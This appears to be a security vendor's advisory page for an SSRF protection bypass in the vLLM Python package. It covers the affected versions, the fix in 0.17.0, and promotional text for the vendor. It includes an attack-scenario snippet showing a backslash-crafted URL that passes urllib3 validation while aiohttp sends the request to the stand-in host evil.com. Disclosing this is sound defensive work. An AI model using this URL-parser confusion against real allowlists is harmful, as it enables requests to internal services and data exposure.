How severe is GHSA-v359-jj2v-j536?

GHSA-v359-jj2v-j536 has a CVSS score of 5.4/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-v359-jj2v-j536?

GHSA-v359-jj2v-j536 affects the following packages: vllm (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-v359-jj2v-j536?

Update vllm to 0.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v359-jj2v-j536 is resolved across your whole dependency graph.

How do I detect GHSA-v359-jj2v-j536 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vllm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-v359-jj2v-j536 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-v359-jj2v-j536?

O3 pinpoints whether GHSA-v359-jj2v-j536 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-v359-jj2v-j536 actively exploited in the wild?

No public exploit code has been indexed for GHSA-v359-jj2v-j536 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-v359-jj2v-j536?

GHSA-v359-jj2v-j536 has an EPSS (Exploit Prediction Scoring System) score of 0.4%, placing it in the 35th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-v359-jj2v-j536?

GHSA-v359-jj2v-j536 is classified as Server-Side Request Forgery (SSRF) (CWE-918). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-v359-jj2v-j536 published, and has it been updated?

GHSA-v359-jj2v-j536 was published on March 9, 2026 and was last updated on March 16, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

GHSA-v359-jj2v-j536

MEDIUM

vLLM has SSRF Protection Bypass

Also known asCVE-2026-25960

Published

Mar 9, 2026

Updated

Mar 16, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.4%probability of exploitation in next 30 days

Lower Risk35th percentile+0.41%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐍vllm

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.

Affected Component

File: vllm/connections.py
Function: load_from_url_async

Vulnerability Details

Root Cause

The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.

These two URL parsers handle backslash characters (\) differently:

Parser	Input URL	Parsed Host	Parsed Path	Behavior
`urllib3.parse_url()`	`https://httpbin.org\@evil.com/`	`httpbin.org`	`/%[email protected]/`	URL-encodes `\` as `%5C`, treats `\@evil.com/` as part of the path
`yarl` (via aiohttp)	`https://httpbin.org\@evil.com/`	`evil.com`	`/`	Treats `\` as part of userinfo (`user: httpbin.org\`), the `@` acts as the userinfo/host separator

Attack Scenario

# Attacker provides this URL
malicious_url = "https://httpbin.org\\@evil.com/"

# 1. Validation layer (urllib3.parse_url)
parsed = urllib3.util.parse_url(malicious_url)
# parsed.host == "httpbin.org"  ✅ Passes validation

# 2. Actual request (aiohttp with yarl)
async with aiohttp.ClientSession() as session:
    async with session.get(malicious_url) as response:
        # Request actually goes to evil.com!  ❌ Bypass!

Why This Happens

yarl: Interprets httpbin.org\ as the userinfo component, and @ as the userinfo/host separator, so the URL is parsed as user=httpbin.org\, host=evil.com, path=/
urllib3: URL-encodes the backslash as %5C, so \@evil.com/ becomes /%[email protected]/ which is treated as part of the path, leaving host=httpbin.org

This inconsistency allows an attacker to:

Bypass the hostname allowlist check
Access arbitrary internal/external services
Perform full SSRF attacks

Fixes

https://github.com/vllm-project/vllm/pull/34743

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`vllm`	≥ 0.15.1&&< 0.17.0	0.17.0

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vllm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update vllm to 0.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v359-jj2v-j536 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-v359-jj2v-j536 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-v359-jj2v-j536. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the `load_from_url_async` method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client. ## Affected Component - **File**: `vllm/connections.py` - **Function**: `load_from_url_async` ## Vulnerability Details ### Root Cause The SSRF [fix](https://github.com/vllm-project/vllm/pull/32746) uses `urllib3.util.parse_url()` to validate and extract the hostname from user-provided URLs. However, `load_from_url_async` uses

O3 Security · Impact-Aware SCA

Is GHSA-v359-jj2v-j536 in your dependencies?

O3 detects GHSA-v359-jj2v-j536 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works